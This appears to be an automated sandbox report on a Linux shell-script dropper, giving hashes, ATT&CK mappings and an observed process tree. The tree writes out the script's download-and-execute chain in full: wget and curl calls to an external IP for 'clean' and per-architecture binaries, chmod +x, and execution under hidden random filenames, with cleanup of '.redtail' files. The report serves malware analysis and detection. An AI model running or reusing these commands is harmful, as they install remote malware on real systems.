7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
79s
max time network
81s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/06/2026, 17:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample260629-wkxdfsbs8z
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
886	chmod
894	chmod
902	chmod
854	chmod
878	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR	879	sh
/.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR	887	sh
/.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR	895	sh
/.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR	903	sh

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

/tmp/sh
/tmp/sh
1⤵
- Executes dropped EXE
PID:723
- /bin/grep
  grep noexec
  2⤵
  PID:730
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:729
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:733
- /usr/bin/whoami
  whoami
  2⤵
  PID:739
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*"
  2⤵
  - Reads runtime system information
  PID:742
- /bin/uname
  uname -mp
  2⤵
  PID:763
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:768
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:767
- /usr/bin/expr
  expr 12316 "%" 32 + 4
  2⤵
  PID:769
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:773
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:772
- /usr/bin/head
  head -c 32
  2⤵
  PID:774
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:777
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:779
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:781
- /bin/rm
  rm -rf clean
  2⤵
  PID:782
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:784
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  - Reads runtime system information
  PID:823
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /bin/sh
  sh clean
  2⤵
  PID:855
- /bin/rm
  rm -rf clean
  2⤵
  PID:856
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:857
- /bin/rm
  rm -rf .wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  PID:858
- /bin/grep
  grep -q x86_64
  2⤵
  PID:860
- /bin/grep
  grep -q amd64
  2⤵
  PID:862
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:867
- /bin/grep
  grep -q armv8
  2⤵
  PID:869
- /bin/grep
  grep -q aarch64
  2⤵
  PID:871
- /bin/grep
  grep -q armv7
  2⤵
  PID:873
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:874
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/x86_64
  2⤵
  PID:875
- /usr/bin/curl
  curl -skO https://217.60.195.113/x86_64
  2⤵
  - Reads runtime system information
  PID:876
- /bin/cat
  cat x86_64
  2⤵
  PID:877
- /bin/chmod
  chmod +x .wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  ./.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  PID:879
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:881
- /bin/rm
  rm -rf i686
  2⤵
  PID:882
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/i686
  2⤵
  PID:883
- /usr/bin/curl
  curl -skO https://217.60.195.113/i686
  2⤵
  - Reads runtime system information
  PID:884
- /bin/cat
  cat i686
  2⤵
  PID:885
- /bin/chmod
  chmod +x .wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  ./.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  PID:887
- /bin/rm
  rm -rf i686
  2⤵
  PID:889
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:890
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/aarch64
  2⤵
  PID:891
- /usr/bin/curl
  curl -skO https://217.60.195.113/aarch64
  2⤵
  - Reads runtime system information
  PID:892
- /bin/cat
  cat aarch64
  2⤵
  PID:893
- /bin/chmod
  chmod +x .wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  ./.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  PID:895
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:897
- /bin/rm
  rm -rf arm7
  2⤵
  PID:898
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/arm7
  2⤵
  PID:899
- /usr/bin/curl
  curl -skO https://217.60.195.113/arm7
  2⤵
  - Reads runtime system information
  PID:900
- /bin/cat
  cat arm7
  2⤵
  PID:901
- /bin/chmod
  chmod +x .wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  ./.wrUDm5GaLd42adcY10Wapr2r4eP1BIqR
  2⤵
  PID:903
- /bin/rm
  rm -rf arm7
  2⤵
  PID:905

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download